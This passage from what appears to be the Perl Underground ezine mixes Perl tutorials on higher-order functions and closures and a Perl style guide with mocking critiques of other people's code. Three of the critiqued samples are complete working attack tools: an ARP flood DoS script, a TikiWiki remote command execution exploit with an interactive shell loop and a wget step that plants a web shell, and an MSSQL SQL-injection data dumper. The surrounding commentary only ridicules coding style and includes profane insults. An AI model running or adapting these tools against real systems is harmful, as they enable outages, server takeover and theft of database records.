2575
2576-[0x0A] # A little teaser about higher-order functions -------------------
2577
2578Limbic~Region
2579How A Function Becomes Higher Order
2580
2581All:
2582Higher Order Perl, by Dominus, has become a very popular book. It was
2583written to teach programmers how to transform programs with programs. Many
2584of us who do not have familiarity with Functional Programming are not
2585aware of what a Higher Order function is. It is a function that does at
2586least one of the two following things:
2587Accepts a function as input
2588Returns a function as output
2589
2590For some, you can stop reading here because you already know what Higher
2591Order functions are - you just didn't know that's what they were called.
2592In Perl terminology, we often refer to them as callbacks, factories, and
2593functions that return code refs (usually closures). Even if you are
2594familiar with those terms, you may not be familiar with how to use them.
2595
2596This tutorial is an illustration of how a simple every day function may
2597become higher order, increasing its usefulness in the process. Along the
2598way we will pick up other tricks that can make our code more flexible.
2599Problem: We have a file containing a list of scores and we need to
2600determine the highest score.
2601
2602Using the principal of code reuse and not reinventing the wheel, we turn
2603to our trusty List::Util.
2604use List::Util 'max';
2605my @scores = <FH>;
2606my $high_score = max(@scores);
2607
2608Unfortunately, this requires all of the scores to be held in memory at one
2609time and our file is really big. Just this once, we decide to break the
2610rules and roll our own.
2611my $high_score;
2612while ( <FH> ) {
2613 chomp;
2614 $high_score = $_ if ! defined $high_score || $_ > $high_score;
2615}
2616
2617As time goes by "just this once" has happened many times and we decide to
2618make our version reuseable.
2619sub gen_max {
2620 # Create an initial default value (or undef)
2621 my $max = $_[0];
2622
2623 # Create an anonymous sub that can be
2624 # dereferenced and called externally
2625 # but will still have access to $max
2626 return sub {
2627
2628 # Process 1 or more values
2629 for ( @_ ) {
2630 $max = $_ if ! defined $max || $_ > $max;
2631 }
2632 return $max;
2633 };
2634}
2635
2636my $max = gen_max();
2637while ( <FH> ) {
2638 chomp;
2639
2640 # Dereference and call the anonymous sub
2641 # Passing in 1 value at a time
2642 $max->($_);
2643}
2644
2645# Get the return value of the anonymous sub
2646my $high_score = $max->();
2647
2648This is our first step into Higher Order functions as we have returned a
2649function as the output for the sake of reusability. We also have a few
2650advantages over the original List::Util max function.
2651Does not require all values to be present at once
2652Ability to define a starting value
2653Ability to process one or more values at a time
2654
2655Unfortunately, our function breaks the second we start comparing strings
2656instead of numbers. We could make max() and maxstr() functions like
2657List::Util but we want to use the concept of Higher Order functions to
2658increase the versatility of our single function.
2659sub gen_reduce {
2660 my $usage = 'Usage: gen_reduce("initial" => $val, "compare" =>
2661 $code_ref)';
2662
2663 # Hashes need even number of arguments
2664 die $usage if @_ % 2;
2665 my %opt = @_;
2666
2667 # Verify that compare defined and a code reference
2668 die $usage if ! defined $opt{compare} || ref $opt{compare} ne
2669 'CODE';
2670 my $compare = $opt{compare};
2671 my $val = $opt{initial};
2672
2673 return sub {
2674 for ( @_ ) {
2675
2676 # Call the user defined anonymous sub
2677 # Passing in two parameters using the return
2678 $val = $_ if ! defined $val || $compare->($_, $val);
2679 }
2680 return $val;
2681 };
2682}
2683
2684# Create an anonymous sub that takes two arguments
2685# A true value is returned if the first is longer
2686my $comp = sub {
2687 return length($_[0]) > length($_[1]);
2688}
2689
2690my $maxstr = gen_reduce(compare => $comp );
2691while ( <FH> ) {
2692 chomp;
2693 $maxstr->($_);
2694}
2695my $long_str = $maxstr->();
2696
2697Now our function takes a function as input and returns a function as
2698output. In addition to the previous functionality, we have added a few
2699more features.
2700Named parameters - allows flexibility in ordering and presence of
2701arguments as well as ease in extensibility
2702User defined comparator - our max function has now become a reduce
2703function
2704
2705This does not have to be the end of the journey into Higher Order
2706functions, though it is the end of the tutorial. Whenever you encounter a
2707situation where two programs do nearly identical things but their
2708differences are enough to make using a single function impossible -
2709consider Higher Order functions to bridge the gap. Remember - it is
2710important to always document your interface and assumptions well!
2711
2712I open the floor to comments both on the advantages and disadvantages of
2713Higher Order functions. As they say, there is no such thing as a free
2714lunch and there are always cases in which it makes sense to use distinct
2715routines for distinct problems.
2716
2717
2718-[0x0B] # Intermission ---------------------------------------------------
2719
2720There's a certain personality who narrowly missed being included in this
2721edition. He has been excluded to acknowledge the improvements in his
2722person over the years. He is not who he was; one character died and another
2723spawned. We can't confirm that the new one is any better at Perl, but at
2724least he discloses less shit upon our fair internet.
2725
2726Perhaps you will recognize some of his work?
2727
2728elsif($FORM{'file'} =~ /.(\)*./g){
2729
2730open(DB, ">>database.txt") or open(DB, ">database.txt");
2731
2732if ($bannernoton == 0 && $_ =~ m/<html>/ig){
2733
2734Those three lines, from three different scripts, are all bad in multiple
2735embarassing ways.
2736
2737
2738-[0x0C] # kokanin is washed-up and wrung out -----------------------------
2739
274003:04 < r0ny> who is this ezine?
274103:06 < r0ny> http://www.milw0rm.com/papers/88
274203:09 < bfamredux> some perl coders
274303:09 < kronicd> theres a lot of hate there
274403:12 < bfamredux> i don't think it's hate as much as it ripping on
2745people's perl coding
274603:15 <@aton> -[0x01] # kokanin sucks
2747--------------------------------------------------
274803:15 <@aton> haha
2749
2750The historians among you might note that kokanin was the very first
2751article in the very first Perl Underground. Here's to our man!
2752
2753#!/usr/bin/perl
2754# kokanin@gmail dot com 20070604
2755# ARP dos, makes the target windows pc unusable for the duration of the
2756attack.
2757# <mode> determines if we send directly or via broadcast, bcast seems
2758# to be more effective (works even when printing info locally)
2759# Why store mac addresses for addresses outside ones subnet? Weird.
2760# FIXME: sometimes this crashes on the first run due to a slow arp reply
2761
2762use Net::ARP 1.0;
2763use Net::RawIP;
2764
2765$mode = shift;
2766$interface = shift;
2767$host = shift;
2768
2769if(!$host){ print "usage: $0 <bcast|direct> <interface> <host>\n";
2770exit(-1); }
2771
2772sub r { return int(rand(255)); }
2773
2774if( $mode =~ /direct/ ) {
2775 print "sending syn packet to add local ARP entry\n";
2776 $pkt = new Net::RawIP;
2777
2778$pkt->set({ip=>{daddr=>$host},tcp=>{source=>int(rand(65535)),dest=>int(ran
2779d(65535)),syn=>1,seq=>0,ack=>0}});
2780 $pkt->send;
2781 print "looking up mac address\n";
2782 $dmac = Net::ARP::arp_lookup($interface,$host);
2783}
2784else {
2785 $dmac = "ff:ff:ff:ff:ff:ff";
2786}
2787
2788print "sending arp packets, press ctrl-c to stop\n";
2789while(){
2790 $randip = sprintf("%d.%d.%d.%d",r(),r(),r(),r());
2791 $smac = sprintf("%x:%x:%x:%x:%x:%x",r(),r(),r(),r(),r(),r());
2792# this slows it down.
2793# if( $mode =~ /bcast/ ) { print "$interface://$randip/$smac ->
2794$host/$dmac\n"; }
2795 Net::ARP::send_packet( $interface,$randip,$host,$smac,$dmac,request);
2796}
2797
2798A lot needs to change in this script. strict and warnings should be in
2799effect. Lexical variables, @ARGV over triple shifting, decent spacing
2800and parenthesis removal, etc.
2801
2802However, we include this here to actually commend kokanin in a way.
2803Basically, we think he's come a long way in a few years and this program
2804 is respectable in this world of shit code. Congrats kokanin, here's to
2805mediocracy!
2806
2807
2808-[0x0D] # broquaint always writes nice articles --------------------------
2809
2810Closure on Closures
2811by broquaint
2812
2813Closure on Closures
2814
2815Before we get into this tutorial we need to define what a closure is. The
2816Camel (3rd edition) states that a closure is
2817
2818"when you define an anonymous function in a particular lexical scope at any
2819particular moment"
2820
2821However, I believe this isn't entirely accurate as a closure in perl can
2822be any subroutine referring to lexical variables in the surrounding
2823lexical scopes.[0]
2824
2825Now with that (simple?) definition out of the way, we can get on with the
2826show!
2827
2828Before we get started ...
2829
2830For one to truely understand closures a solid understanding of the
2831principles of lexical scoping is needed, as closures are implemented
2832through the means of lexical scoping interacting with subroutines. For an
2833introduction to lexical scoping in perl see Lexical scoping like a fox,
2834and once you're done with that, head on back.
2835
2836Right, are we all here now? Bueller ... Bueller .. Bueller? Good.
2837Now that we have our basic elements, let's weave them together with a
2838stitch of explanation and a thread of code.
2839
2840Hanging around
2841
2842Now as we all know, lexical variables are only active for the length of
2843the surrounding lexical scope, but can be kept around in an indirect
2844manner if something else references them e.g
2845
2846 1: sub DESTROY { print "stick a fork in '$_[0]' it's done\n" }
2847 2:
2848 3: my $foo = bless [];
2849 4: {
2850 5: my $bar = bless {};
2851 6: ## keep $bar around
2852 7: push @$foo => \$bar;
2853 8:
2854 9: print "in \$bar's [$bar] lexical scope\n";
285510: }
285611:
285712: print "we've left \$bar's lexical scope\n";
2858
2859__output__
2860
2861in $bar's [main=HASH(0x80fbbf0)] lexical scope
2862we've left $bar's lexical scope
2863stick a fork in 'main=ARRAY(0x80fbb0c)' it's done
2864stick a fork in 'main=HASH(0x80fbbf0)' it's done
2865The above example illustrates that $bar isn't cleaned up until $foo, which
2866references it, leaves the surrounding lexical scope (the file-level scope
2867in this case). So from that we can see lexical variables only stick around
2868for the length of the surrounding scope or until they're no longer
2869referenced.
2870
2871But what if we were to re-enter a scope where a variable is still visible,
2872but the scope has already exited - will the variable still exist?
28731: {
28742: my $foo = "a string";
28753: INNER: {
28764: print "\$foo: [$foo]\n";
28775: }
28786: }
28797: goto INNER unless $i++;
2880
2881__output__
2882
2883$foo: [a string]
2884$foo: []
2885As we can see the answer is categorically 'No'. In retrospect this is
2886quite obvious as $foo has gone out of scope and there is no longer a
2887reference to it.
2888
2889A bit of closure
2890
2891However, the last example just used a simple bareblock, now let's try it
2892with a subroutine as the inner block
28931: {
28942: my $foo = "a string";
28953: sub inner {
28964: print "\$foo: [$foo]\n";
28975: }
28986: }
28997: inner();
29008: inner();
2901
2902__output__
2903
2904$foo: [a string]
2905$foo: [a string]
2906"Hold on there cowboy - $foo has already gone out of scope at the time of
2907the first call to inner() let alone the second, what's going on there?!?",
2908or so one might say. Now hold your horses, there is a very good reason for
2909this behaviour - the subroutine in the example is a closure. "Ok, so it's
2910a closure, but why?", would be a good question at this point. The reason
2911is that subroutines in perl have what's called a scratchpad which holds
2912references to any lexical variables referred to within the subroutine.
2913This means that you can directly access lexical variables within
2914subroutines even though the given variables' scope has exited.
2915
2916Hmmm, that was quite a lot of raw info, so let's break it down somewhat.
2917Firstly subroutines can hold onto variables from higher lexical scopes.
2918Here's a neat little counter example (not counter-example ;)
2919 1: {
2920 2: my $cnt = 5;
2921 3: sub counter {
2922 4: return $cnt--;
2923 5: }
2924 6: }
2925 7:
2926 8: while(my $i = counter()) {
2927 9: print "$i\n";
292810: }
292911: print "BOOM!\n";
2930
2931__output__
2932
29335
29344
29353
29362
29371
2938BOOM!
2939While not immediately useful, the above example does demonstrate a
2940subroutine counter() (line 3) holding onto a variable $cnt (line 2) after
2941it has gone out of scope. Because of this behaviour of capturing lexical
2942state the counter() subroutine acts as a closure.
2943
2944Now if we look at the above example a little closer we might notice that
2945it looks like the beginnings of a basic iterator. If we just tweak
2946counter() and have it return an anonymous sub we'll have ourselves a very
2947simple iterator
2948 1: sub counter {
2949 2: my $cnt = shift;
2950 3: return sub { $cnt-- };
2951 4: }
2952 5:
2953 6: my $cd = counter(5);
2954 7: while(my $i = $cd->()) {
2955 8: print "$i\n";
2956 9: }
295710:
295811: print "BOOM!\n";
2959
2960__output__
2961
29625
29634
29643
29652
29661
2967BOOM!
2968Now instead of counter() being the closure we return an anonymous
2969subroutine (line 3) which becomes a closure as it holds onto $cnt (line
29702). Every time the newly created closure is executed the $cnt passed into
2971counter() is returned and decremented (this post-return modification
2972behaviour is due to the nature of the post-decrement operator, not the
2973closure).
2974
2975So if we further apply the concepts of closures we can write ourselves a
2976very basic directory iterator
2977 1: use IO::Dir;
2978 2:
2979 3: sub dir_iter {
2980 4: my $dir = IO::Dir->new(shift) or die("ack: $!");
2981 5:
2982 6: return sub {
2983 7: my $fl = $dir->read();
2984 8: $dir->rewind() unless defined $fl;
2985 9: return $fl;
298610: };
298711: }
298812:
298913: my $di = dir_iter( "." );
299014: while(defined(my $f = $di->())) {
299115: print "$f\n";
299216: }
2993
2994__output__
2995
2996.
2997..
2998.closuretut.html.swp
2999closuretut.html
3000example5.pl
3001example6.pl
3002example2.pl
3003example1.pl
3004example3.pl
3005example4.pl
3006example7.pl
3007In the code above dir_iter() (line 3) is returning an anonymous subroutine
3008(line 6) which is holding $dir (line 4) from a higher scope and therefore
3009acts as a closure. So we've created a very basic directory iterator using
3010a simple closure and a little bit of help from IO::Dir.
3011
3012Wrapping it up
3013
3014This method of creating closures using anonymous subroutines can be very
3015powerful[1]. With the help of Richard Clamp's marvellous File::Find::Rule
3016we can build ourselves a handy little grep like tool for XML files
3017 1: use strict;
3018 2: use warnings;
3019 3:
3020 4: use XML::Simple;
3021 5: use Getopt::Std;
3022 6: use File::Basename;
3023 7: use File::Find::Rule;
3024 8: use Data::Dumper;
3025 9:
302610: $::PROGRAM = basename $0;
302711:
302812: getopts('n:t:hr', my $opts = {});
302913:
303014: usage() if $opts->{h} or @ARGV == 0;
303115:
303216: my @dirs = $opts->{r} ? @ARGV : map dirname($_), @ARGV;
303317: my @files = $opts->{r} ? '*.xml' : map basename($_), @ARGV;
303418: my $callback = gensub($opts);
303519:
303620: my @found = find(
303721: file =>
303822: name => \@files,
303923: ## handy callback which wraps around the callback created above
304024: exec => sub { $callback->( XMLin $_[-1] ) },
304125: in => [ @dirs ]
304226: );
304327:
304428: print "$::PROGRAM: no files matched the search criteria\n" and exit(0)
304529: if @found == 0;
304630:
304731: print "$::PROGRAM: the following files matched the search criteria\n",
304832: map "\t$_\n", @found;
304933:
305034: exit(0);
305135:
305236: sub usage {
305337: print "Usage: $::PROGRAM -t TEXT [-n NODE -h -r] FILES\n";
305438: exit(0);
305539: }
305640:
305741: sub gensub {
305842: my $opts = shift;
305943:
306044: ## basic matcher wraps around the program options
306145: return sub { Dumper($_[0]) =~ /\Q$opts->{t}/sm }
306246: unless exists $opts->{n};
306347:
306448: ## node based matcher wraps around options and itself!
306549: my $self; $self = sub {
306650: my($tree, $seennode) = @_;
306751:
306852: for(keys %$tree) {
306953: $seennode = 1 if $_ eq $opts->{n};
307054:
307155: if( ref $tree->{$_} eq 'HASH') {
307256: return $self->($tree->{$_}, $seennode);
307357: } elsif( ref $tree->{$_} eq 'ARRAY') {
307458: return !!grep $self->($_, $seennode), @{ $tree->{$_} };
307559: } else {
307660: next unless $seennode;
307761: return !!1
307862: if $tree->{$_} =~ /\Q$opts->{t}/;
307963: }
308064: }
308165: return;
308266: };
308367:
308468: return $self;
308569: }
3086Disclaimer: the above isn't thoroughly tested and isn't nearly perfect so
3087think twice before using in the real world
3088
3089The code above contains 3 simple examples of closures using anonymous
3090subroutines (in this case acting as callbacks). The first closure can be
3091found on in the exec parameter (line 24) of the find call. This is
3092wrapping around the $callback variable generated by the gensub() function.
3093Then within the gensub() (line 41) there are 2 closures which wrap around
3094the $opts lexical, the second of which also wraps around $self which is a
3095reference to the callback which is returned.
3096
3097Altogether now
3098
3099So let's bring it altogether now - a closure is a subroutine which wraps
3100around lexical variables that it references from the surrounding lexical
3101scope which subsequently means that the lexical variables that are
3102referenced are not garbage collected when their immediate scope is exited.
3103
3104
3105There ya go, closure on closures! Hopefully this tutorial has conveyed the
3106meaning and purpose of closures in perl and hasn't been too confounding
3107along the way.
3108
3109Thanks to virtualsue, castaway, Corion, xmath, demerphq, Petruchio, tye
3110for help during the construction of this tutorial
3111
3112[0] see. chip's Re: Toggling between two values for a more technical
3113definition (and discussion) of closures within perl
3114[1] see. tilly's Re (tilly) 9: Why are closures cool?, on the pitfalls of
3115nested package level subroutines vs. anonymous subroutines when dealing
3116with closures
3117
3118
3119-[0x0E] # str0ke's token appearance --------------------------------------
3120
3121#!/usr/bin/perl
3122# TikiWiki <= 1.9.8 Remote Command Execution Exploit
3123#
3124# Description
3125# -----------
3126# TikiWiki contains a flaw that may allow a remote attacker to execute
3127arbitrary commands.
3128# The issue is due to 'tiki-graph_formula.php' script not properly
3129sanitizing user input
3130# supplied to the f variable, which may allow a remote attacker to execute
3131arbitrary PHP
3132# commands resulting in a loss of integrity.
3133# -----------
3134# Vulnerability discovered by ShAnKaR <sec [at] shankar.antichat.ru>
3135#
3136# $Id: milw0rm_tikiwiki.pl,v 0.1 2007/10/12 13:25:08 str0ke Exp $
3137
3138# Wow, five issues and five pieces of code by str0ke!
3139# We debated not including him in here, but hey, it's like a tradition now.
3140
3141use strict; # Hey, you're learning! But you still forgot to enable warnings.
3142use LWP::UserAgent;
3143
3144my $target = shift || &usage(); # Oh my... how 1996
3145my $proxy = shift;
3146my $command;
3147
3148# Try this:
3149# my($target, $proxy) = @ARGV;
3150
3151&exploit($target, "cat db/local.php", $proxy); # Wow, another flashback!
3152
3153print "[?] php shell it?\n";;
3154print "[*] wget http://www.youhost.com/yourshell.txt -O
3155backups/shell.php\n";
3156print "[*] lynx " . $target . "/backups/shell.php\n\n";
3157
3158while()
3159{
3160 print "tiki\# ";
3161 chomp($command = <STDIN>); # You do realize that you can declare
3162 # $command down here right?
3163 # chomp(my $command = <STDIN>);
3164 # Then we can lose that annoying
3165 # decleration up at the top of the code.
3166 exit unless $command; # Not bad.
3167 &exploit($target, $command, $proxy);
3168 # You really must like the &'s, eh?
3169}
3170
3171sub usage()
3172{
3173 print "[?] TikiWiki <= 1.9.8 Remote Command Execution
3174Exploit\n"; # ph33r
3175 print "[?] str0ke <str0ke[!]milw0rm.com>\n";
3176 print "[?] usage: perl $0 [target]\n";
3177 print " [target] (ex. http://127.0.0.1/tikiwiki)\n";
3178 print " [proxy] (ex. 0.0.0.0:8080)\n";
3179 exit;
3180 # You could have used a text area with a die instead of all those
3181 # print's followed by an exit. If you're going to use print,
3182 # at least change your quoting style.
3183}
3184
3185sub exploit()
3186{
3187 my($target, $command, $proxy) = @_; # Not bad.
3188
3189 my $cmd = 'echo start_er;'.$command.';'.'echo end_er';
3190# There's the correct use of the . operator! But you forgot the whitespace!
3191# So close, but yet so far...
3192
3193 my $byte = join('.', map { $_ = 'chr('.$_.')' } unpack('C*',
3194$cmd));
3195 # You don't need to assign to $_, and in different situations that
3196 # would be hazardous
3197
3198 my $conn = LWP::UserAgent->() or die; # Good use of or there
3199# instead of ||. I see that you have been paying attention to our
3200 # previous issues. :)
3201 $conn->agent("Mozilla/4.0 (compatible; Lotus-Notes/5.0;
3202Windows-NT)");
3203 $conn->proxy("http", "http://".$proxy."/") unless !$proxy;
3204# Try the 'not' keyword instead of '!'. And way to be convoluded.
3205# $conn->proxy(..) if $proxy; # just way to clear for you.
3206# I know that coding obfuscated Perl is a pasttime for most Perly types,
3207# but you hardly fall into that category my friend.
3208
3209 my
3210$out=$conn->get($target."/tiki-graph_formula.php?w=1&h=1&s=1&min=1&max=2&f
3211[]=x.tan.passthru($byte).die()&t=png&title=");
3212 # Way to be consistant with your concaticnations there.
3213
3214 if ($out->content =~ m/start_er(.*?)end_er/ms) {
3215# Perl doesn't need to be told it's a match
3216 print $1 . "\n";
3217 } else {
3218 print "[-] Exploit Failed\n"; # Just like this code...
3219 exit; # Why not try die? After all, you don't want to exit
3220 # indicating success when it didn't succeed.
3221 }
3222}
3223
3224# milw0rm.com [2007-10-12]
3225# PU5
3226
3227
3228-[0x0F] # Abigail goes stylish -------------------------------------------
3229
3230( It is important to note that this is old, and some things about the
3231language have changed. Further, a handful of these points were never
3232the popular view in the Perl world. So keep those in mind. )
3233
3234~~~~~~~~~~~~~~~~
3235
3236Last week, hakkr posted some coding guidelines which I found to be too
3237restrictive, and not addressing enough aspects. Therefore, I've made some
3238guidelines as well. These are my personal guidelines, I'm not enforcing
3239them on anyone else.
3240
3241~ Warnings SHOULD be turned on. ~
3242
3243Turning on warnings helps you finding problems in your code. But it's only
3244useful if you understand the messages generated. You should also know when
3245to disable warnings - they are warnings after all, pointing out potential
3246problems, but not always bugs.
3247
3248~ Larger programs SHOULD use strictness. ~
3249
3250The three forms of strictness can help you to prevent making certain
3251mistakes by restricting what you can do. But you should know when it is
3252appropriate to turn off a particular strictness, and regain your freedom.
3253
3254~ The return values of system calls SHOULD be checked. ~
3255
3256NFS servers will be down, permissions will change, file will disappear,
3257disk will fill up, resources will be used up. System calls can fail for a
3258number of reasons, and failure is not uncommon. Programs should never
3259assume a system call will succeed - they should check for success and deal
3260with failures. The rare case where you don't care whether the call
3261succeeded should have a comment saying so.
3262
3263All system calls should be checked, including, but not limited to, close,
3264seek, flock, fork and exec.
3265
3266~ Programs running on behalf of someone else MUST use tainting; Untaining
3267 SHOULD be done by checking for allowed formats. ~
3268
3269Daemons listening to sockets (including, but not limited to CGI programs)
3270and suid and sgid programs are potential security holes. Tainting can help
3271securing your programs by tainting data coming from untrusted sources. But
3272it's only useful if you untaint carefully: check for accepted formats.
3273
3274~ Programs MUST deal with signals appropriately. ~
3275
3276Signals can be sent to the program. There are default actions - but they
3277are not always appropriate. If not, signal handlers need to be installed.
3278Care should be taken since not everything is reentrant. Both pre-5.8.0 and
3279post-5.8.0 have their own issues.
3280
3281~ Programs MUST deal with early termination appropriately. ~
3282
3283END blocks and __DIE__ handlers should be used if the program needs to
3284clean up after itself, even if the program terminates unexpectedly - for
3285instance due to a signal, an explicite die or a fatal error.
3286
3287~ Programs MUST have an exit value of 0 when running succesfully, and a
3288 non-0 exit value when there's a failure. ~
3289
3290Why break a good UNIX tradition? Different failures should have different
3291exit values.
3292
3293~ Daemons SHOULD never write to STDOUT or STDERR but SHOULD use the syslog
3294 service to log messages. They should use an appropriate facility and
3295 appropriate priorities when logging messages. ~
3296
3297Daemons run with no controlling terminal, and usually its standard output
3298and standard error disappear. The syslog service is a standard UNIX
3299utility especially geared towards daemons with a logging need. It allows
3300the system administration to determine what is logged, and where, without
3301the need to modify the (running) program.
3302
3303~ Programs SHOULD use Getopt::Long to parse options. Programs MUST follow
3304 the POSIX standard for option parsing. ~
3305
3306Getopt::Long supports historical style arguments (single dash, single
3307letter, with bundling), POSIX style, and GNU extensions. Programs should
3308accept reasonable synonymes for option names.
3309
3310~ Interactive programs MUST print a usage message when called with wrong,
3311 incorrect or incomplete options or arguments. ~
3312
3313Users should know how to call the program.
3314
3315~ Programs SHOULD support the --help and --version options. ~
3316
3317--help should print a usage message and exit, while--version should the
3318version number of the program.
3319
3320~ Code SHOULD have an exhaustive regression test suite. ~
3321
3322Regression tests help catch breakage of code. The regression tests should
3323'touch' all the code - that is, every piece of code should be executed
3324when running the regression suite. All border should be checked. More
3325tests is usually better than less test. Behaviour on invalid inputs needs
3326to be tested as well.
3327
3328~ Code SHOULD be in source control. ~
3329
3330And a code source control tool will take care of keeping track of a
3331history or changes log, version numbers and who made the most recent
3332change(s).
3333
3334~ All database modifying statements MUST be wrapped inside a transaction. ~
3335
3336Your data is likely to be more important than the runtime or codesize of
3337your program. Data integrety should be retained at all costs.
3338
3339~ Subroutines in standalone modules SHOULD perform argument checking and
3340 MUST NOT assume valid arguments are passed. ~
3341
3342Perl doesn't compile check the types of or even the number of arguments.
3343You will have to do that yourself.
3344
3345~ Objects SHOULD NOT use data inheritance unless it is appropriate. ~
3346
3347This means that "normal" objects, where the attributes are stored inside
3348anonymous hashes or arrays should not be used. Non-OO programs benefit
3349from namespaces and strictness, why shouldn't objects? Use objects based
3350on keying scalars, like fly-weight objects, or inside-out objects. You
3351wouldn't use public attributes in Java all over the place either, would
3352you?
3353
3354~ Comments SHOULD be brief and to the point. ~
3355
3356If you need lots of comments to explain your code, you may consider
3357rewriting it. Subroutines that have a whole blob of comments describing
3358arguments are return values are suspect. But do document invariants, pre-
3359and postconditions, (mathematical) relationships, theorems, observations
3360and other relevant things the code assumes. Variables with a broad scope
3361might warrant comments too.
3362
3363~ POD SHOULD NOT be interleaved with the code, and is not an alternative for
3364 comments. ~
3365
3366Comments and POD have two different purposes. Comments are there for the
3367programmer. The person who has to maintain the code. POD is there to
3368create user documentation from. For the person using the code. POD should
3369not be interleaved with the code because this makes it harder to find the
3370code.
3371
3372~ Comments, POD and variable names MUST use English. ~
3373
3374English is the current Lingua Franca.
3375
3376~ Variables SHOULD have an as limited scope as is appropriate. ~
3377
3378"No global variables", but better. Just disallowing global variables means
3379you can still have a loop variant with a file-wide scope. Limiting the
3380scope of variables means that loop variants are only known in the body of
3381the loop, temporary variables only in the current block, etc. But
3382sometimes it's useful for a variable to be global, or have a file-wide
3383scope.
3384
3385~ Variables with a small scope SHOULD have short names, variables with a
3386 broad scope SHOULD have descriptive names. ~
3387
3388$array_index_counter is silly; for (my $i = 0; $i < @array; $i ++) { .. }
3389is perfect. But a variable that's used all over the place needs a
3390descriptive name.
3391
3392~ Constants (or variables intended to be constant) SHOULD have names in all
3393 capitals, (with underscores separating words), so SHOULD IO handles.
3394 Package and class names SHOULD use title case, while other variables
3395 (including subroutines) SHOULD use lower case, words separated by
3396 underscores. ~
3397
3398This seems to be quite common in the Perl world.
3399
3400~ Custom delimiters SHOULD be tall and skinny. ~
3401
3402/, !, | and the four sets of braces are acceptable, #, @ and * are not.
3403Thick delimiters take too much attention. An exception is made for: q
3404$Revision: 1.1.1.1$, because RCS and CVS scan for the dollars.
3405
3406~ Operators SHOULD be separated from their operands by whitespace, with a
3407 few exceptions. ~
3408
3409Whitespace increases readability. The exceptions are:
3410Unary +, -, \, ~ and !.
3411No whitespace between a comma and its left operand.
3412
3413Note that there is whitespace between ++ and -- and their operands, and
3414between -> and its operands.
3415
3416~ There SHOULD be whitespace between an indentifier and its indices. There
3417 SHOULD be whitespace between successive indices. ~
3418
3419Taking an index is an operation as well, so there should be whitespace.
3420Obviously, we cannot apply this rule in interpolative contexts.
3421
3422~ There SHOULD be whitespace between a subroutine name and its parameters,
3423even if the parameters are surrounded by parens. ~
3424
3425Again, readability.
3426
3427~ There SHOULD NOT be whitespace after an opening parenthesis, or before a
3428 closing parenthesis. There SHOULD NOT be whitespace after an opening
3429 indexing bracket or brace, or before a closing indexing bracket or
3430 brace. ~
3431
3432That is: $array [$key], $hash {$key} and sub ($arg).
3433
3434~ The opening brace of a block SHOULD be on the same line as the keyword and
3435 the closing brace SHOULD align with the keyword, but short blocks are
3436 allowed to be on one line. ~
3437
3438This is K&R style bracing, except that we require it for subroutines as
3439well. We do allow map {$_ * $_} @args to be on one line though.
3440No cuddled elses or elsifs. But the while of a do { } while construct
3441should be on the same line as the closing brace.
3442
3443It just looks better that way! ;-)
3444
3445~ Indents SHOULD be 4 spaces wide. Indents MUST NOT contain tabs. ~
3446
34474 spaces seems to be an often used compromise between the need to make
3448indents stand out, and not getting cornered. Tabs are evil.
3449
3450~ Lines MUST NOT exceed 80 characters. ~
3451
3452There is just no excuse for that. More than 80 characters means it will
3453wrap in too many situations, leading to hard to read code.
3454
3455~ Align code vertically. ~
3456
3457This makes code look more pleasing, and it brings attention to the fact
3458similar things are happening on close by lines. Example:
3459 my $var = 18;
3460 my $long_var = "Some text";
3461This is just a first draft. I've probably forgotten some rules.
3462
3463
3464-[0x10] # It's h4cky0u, not c0dey0u --------------------------------------
3465
3466#!/usr/bin/perl
3467use LWP::UserAgent;
3468
3469# No warnings? No lexical variables?
3470# Haven't you people learned yet?!?
3471
3472print "\n ----------------------------- ";
3473print "\n MSSQL Dumper v0.1.1 ";
3474print "\n ALPHA ";
3475print "\n By Illuminatus for h4cky0u ";
3476print "\n ----------------------------- ";
3477print "\n";
3478
3479# Ahhh yes... the always needed eleet startup banner proudly proclaiming
3480# that this shitty code was done by a
3481# shitty coder for an equally shitty site/group.
3482
3483my $ua = LWP::UserAgent->new; # Ripped right from the man page...
3484$colcount = 0;
3485
3486
3487sub args{
3488 print "Hostname (e.g www.site.com):";$host = <STDIN>;chomp $host;
3489 print "Path (e.g /products.asp?catid=):";$path = <STDIN>;chomp $path;
3490 print "Database:";$db = <STDIN>;chomp $db;
3491 print "Database table:";$table = <STDIN>;chomp $table;
3492
3493 print "How many columns would you like to dump:";$colnum =
3494<STDIN>;chomp $colnum;
3495
3496 print "Column names (format: User,Password):";$colnames =
3497<STDIN>;chomp $colnames;@cols = split(/,/, $colnames);
3498 print "Records to dump (format: 1-23):";$rec = <STDIN>;chomp
3499$rec;@recs = split (/-/, $rec);
3500 $count = @recs[0]; # ... Don't ever let him near a Perl interpreter again.
3501 # I loved the spacing in that subroutine. And the way he got that
3502 # input was amazing!
3503 # Hey, Illuminatus try: chomp(my $foo = <STDIN>);
3504 # And do you see that enter key on your keyboard? Use it next time buddy.
3505 # Maybe nexttime try command line arguments, hmm?
3506 # perldoc -f shift
3507 # man Getopt::Long
3508}
3509
3510
3511
3512sub getrecord{
3513 while($colcount < $colnum){ # Package vars...
3514
3515 my $url =
3516"http://".$host.$path."1+AND+(select+cast(CHAR(+127+)%2b+rtrim(cast((selec
3517t+ISNULL(cast(".@cols[$colcount]."+as+varchar)%2c'null')+from+(select+top+
35181+*++from+(select+TOP+".$count."+*+from+".$db."..customers+order+by+1+desc
3519+)+dtable+order+by+1+asc)+finaltable)+as+varchar))%2b+CHAR(+127+)+as+int))
3520+%3d+1++Or+3%3d6";
3521 my $response = $ua->get($url);
3522 my $content = $response->content;
3523 # Why are things suddenly lexical?
3524 # Cause you stole things right from the POD, you fucker
3525 if($content =~ m/value(.*)to/) { # You don't need to tell Perl its
3526 # got to match something genius.
3527 open (RECORDS, '>>output.txt'); # And you claim to be a
3528 # security guy...
3529 print RECORDS $1;
3530 close (RECORDS); # Nice parens there.
3531 }
3532 $colcount++;
3533 }
3534 open (RECORDS, '>>output.txt');
3535 print RECORDS "$count\n";
3536 close (RECORDS);
3537 # ... *sigh*
3538}
3539
3540args();
3541
3542while ($count < @recs[1]){ # Oh jesus..
3543 getrecord();
3544 $count++;
3545 $colcount = 0; # here we thought this was a waste
3546 # then we realized you were using it in getrecord(),
3547 # because you don't know how to send parameters to subs
3548 # You can't program. Get lost.
3549 }
3550print "Records saved to output.txt"; # No "\n" ?
3551
3552# Do yourself a favor and save coding Perl for those of us who know how,
3553# okay?
3554
3555
3556-[0x11] # Modern impressions of Perl -------------------------------------
3557
3558It has been an interesting development that while the world is warming up
3559to interpreted languages such as Python and Ruby, Perl support has not
3560increased very much.
3561
